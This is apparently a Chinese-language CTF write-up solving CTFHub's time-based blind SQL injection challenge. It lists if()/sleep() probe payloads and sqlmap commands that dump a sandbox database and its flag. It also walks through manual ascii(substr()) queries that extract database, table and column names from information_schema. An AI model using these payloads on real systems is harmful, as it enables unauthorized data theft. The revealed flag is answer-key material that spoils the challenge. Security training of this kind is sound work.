技能树-Web题-SQL注入-时间盲注
时间盲注
文章目录
基本思路
利用响应时间来确定,是否注入成功
利用函数 if(),right(),substr()
常用的判断语句:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
判断注入
首先确定是否有注入,用语句:
1 and if(length(database())>=0,sleep(1),1)
或
输入1 返回sql语句
输入1 and 1=2 仍然返回sql语句
没有报对错,这里考虑用时间盲注
数据库有一个判断语法
if(condition,A,B)
conidtion为条件,如果conidtion条件为真的话,那么将执行A。如果条件不为真,那么就执行B
到这我们已经了解了这个判断语句,那我们可以尝试
if(1=1,sleep(3),1)
1=1就是我们的条件,sleep(3)为我们的A,1为我们的B。
1=1即为真,那么将会执行sleep(3),也就是睡眠3秒钟(默认单位为秒)
那既然我们可以构造这个函数,我们就用这个函数来到时间盲注这个靶场尝试一下
我们输入
1 and if(1=1,sleep(3),1)
(前面已经有一个查询语句了,所以需要用and连接)
发现页面加载了3秒才回显结果给我们,
说明即存在时间盲注,我们通过sqlmap可以直接跑出结果
使用sqlmap
这里使用kali自带的sqlmap
1.爆库名
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=1 --dbs --batch
-u:目标URL
--dbs:枚举数据库
得到四个库名,猜测flag最有可能在sqli中,尝试爆破表名来看看
2.爆表名
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch
-D 指定数据库
--tables 列举该数据库中的所有表
得到表名为flag,news,猜测结果就在flag表中
3.爆字段名
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=2 -D sqli -T flag --columns
-T 指定表
--columns 列举该表中的所有字段
得到字段名为flag
取数据
sqlmap -u http://challenge-ee244ec78d279db8.sandbox.ctfhub.com:10800/?id=2 -D sqli -T flag -C flag --dump
-C 指定字段
--dump 获取数据
得到flag:ctfhub{c8b218a70aa07c89a180b61f}
手工注入
1.判断数据库长度
页面3秒钟后才响应,说明数据库名称长度=4
1 and if(length(database())=4,sleep(3),1)
2. 猜解数据库名称
1 and if(ascii(substr(database(),1,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)
ascii(s)=115
1 and if(ascii(substr(database(),2,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)
ascii(q)=113
1 and if(ascii(substr(database(),3,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)
ascii(l)=108
1 and if(ascii(substr(database(),4,1))>110,sleep(3),1)
1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)
ascii(i)=105
......
不断调整ASCII码的范围逐渐得到数据库名称为sqli
3. 猜解sqli数据库中表的数量
1 and if((select count(table_name) from information_schema.tables
where table_schema=database())=2,sleep(3),1)
页面3秒后响应,说明有两张表
4. 猜解表名
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)
ascii(n)=110
3秒后响应,说明第一张表的第一个字母为n
依次得到表名为news
1 and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 1,1),1,1))=102,sleep(3),1)
ascii(f)=102
3秒后响应,说明第一张表的第一个字母为f
依次得到表名为flag
5. 猜解flag表的字段数
1 and if((select count(column_name) from information_schema.columns
where table_name='flag')=1,sleep(3),1)
3秒后响应,只有一个字段
6. 猜解字段名
1 and if(ascii(substr((select column_name from information_schema.columns
where table_name='flag'),1,1))=102,sleep(3),1)
一样的套路,得到字段名为flag
7. 猜解flag具体值
庞大的工作量太过耗时,所以到此为止,开始sqlmap注入